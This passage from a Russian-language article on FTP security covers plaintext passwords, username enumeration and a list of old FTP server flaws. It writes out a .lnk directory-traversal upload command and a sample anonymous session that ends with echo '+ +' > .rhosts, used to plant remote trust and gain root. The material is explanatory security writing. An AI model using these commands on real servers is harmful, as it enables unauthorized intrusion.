данные о порте полученные другим образом, например, если на компьютере клиента стоит sendmail можно отправлять через него письма на свою машину и определять номер порта, с которого пришло соединения на 25й порт. Если на компьютере клиента есть прокси сервер, то можно запросить любую URL со своего компьютера и так же определить порт входящего соединения. 3. Privacy Все данные (включая пароли) посылается через сеть в незашифрованном виде по стандарту FTP. Для гарантирования приватность информации, пересылаемой по FTP. нужно использовать мощный алгоритм шифровки везде, где это возможно. 4. Защита имён пользователей Стандартный FTP определяет реакцию 530 на команду USER, когда имя пользователя не допускается. Если имя пользователя верно и нужно ввести пароль, FTP возвращает 331. Для того, чтобы взломщик не смог определить имена пользователей, FTP должен всегда отвечать 331 на команду USER. 6) Обзор недавних уязвимостей FTP сервисов . 1. Переполнения буфера в командах CWD и LIST. PI-SOFT: SpoonFTP 1.0 2. Выход за пределы корневой директории с помощью .lnk-Файлов в ftp-серверах (directory traversal) . Поместив на сервер ярлык (.lnk) можно получить доступ к файлу находящемуся за пределами корневой папки FTP. ftp› PUT \local.lnk remote.lnk WFTPD: WFTPD 3.0 TRANSSOFT: Broker FTP 5.9 ARGOSOFT: Argosoft FTP Server 1.2 Bison FTP server V4R1 3. Проблемы во многих ftp-Серверах проблемы с обратным путем в директориях (../). WHITSOFT: SlimServe FTP v1.0 DATAWIZARD: FtpXQ Server 2.0 TYPSOFT: TYPSoft FTP Server 0.85 NETWIN: SurgeFTP 1.0 WAR: WarFTPd 1.67 PLAYSTATION2: RaidenFTPD 2.1 4. Часто встречается переполнение буфера в полях USER и PASSWORD . 5. MS IIS 4.0 FTP Denial of Service Attack IIS 4.0 подвержен Denial of Service Attack. Правда, в довольно редко встречающихся условиях. Условия таковы: FTP сервер с виртуальными директориями ( или виртуальными серверами ) в количестве порядка сотни. Сервер можно забить, послав десяток одновременных PUT или GET-запросов. Через некоторое время (минуты) сервер начнет отвечать «426 Connection closed; transfer aborted» при попытке коннекта куда бы то ни было на сервере. Кроме этих удовольствий, во время атаки любая попытка перезаписать какие-либо файлы на FTP авторизованным юзером (не анонимом) приведет к блокировке файлов (locking) и их замещению файлами нулевой длины. Проблема решается лишь рестартом IIS’а. 5. Ошибка с установкой привилегий (permisions). Bash# ftp target.victim.com Connected to 666.666.666.666. 220 target FTP server (Version wu-1.2(1) Mon Feb 30 18:04:42 EST 1995) ready. Name (666.666.666.666:hakd00d): ftp (or anonymous) 331 Guest login ok, send your complete e-mail i as password. Password: 230- 230-Welcome to Victim Internet Services, Inc. 230- 230- 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp› ls -la 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 7704 drwxrwxrwx 40 ftp other 8192 Jun 10 19:11 . drwxr-xr-x 40 root other 8192 Jun 10 19:11 .. lrwxrwxrwx 1 ftp other 8 May 24 12:19 1869 -› pub/1869 drwxrwxrwx 4 root root 4096 May 23 02:05 pix.tar.gz lrwxrwxrwx 1 ftp other 8 May 24 12:19 idiot -› pub/idiot Владельцем текущей директории является ftp демон . Можно сделать так: echo »+ +» › .rhosts Это дает злоумышленнику возможность приобрести рута или использовать вашу машину как точку для коннекта на другие .
полная версия страницы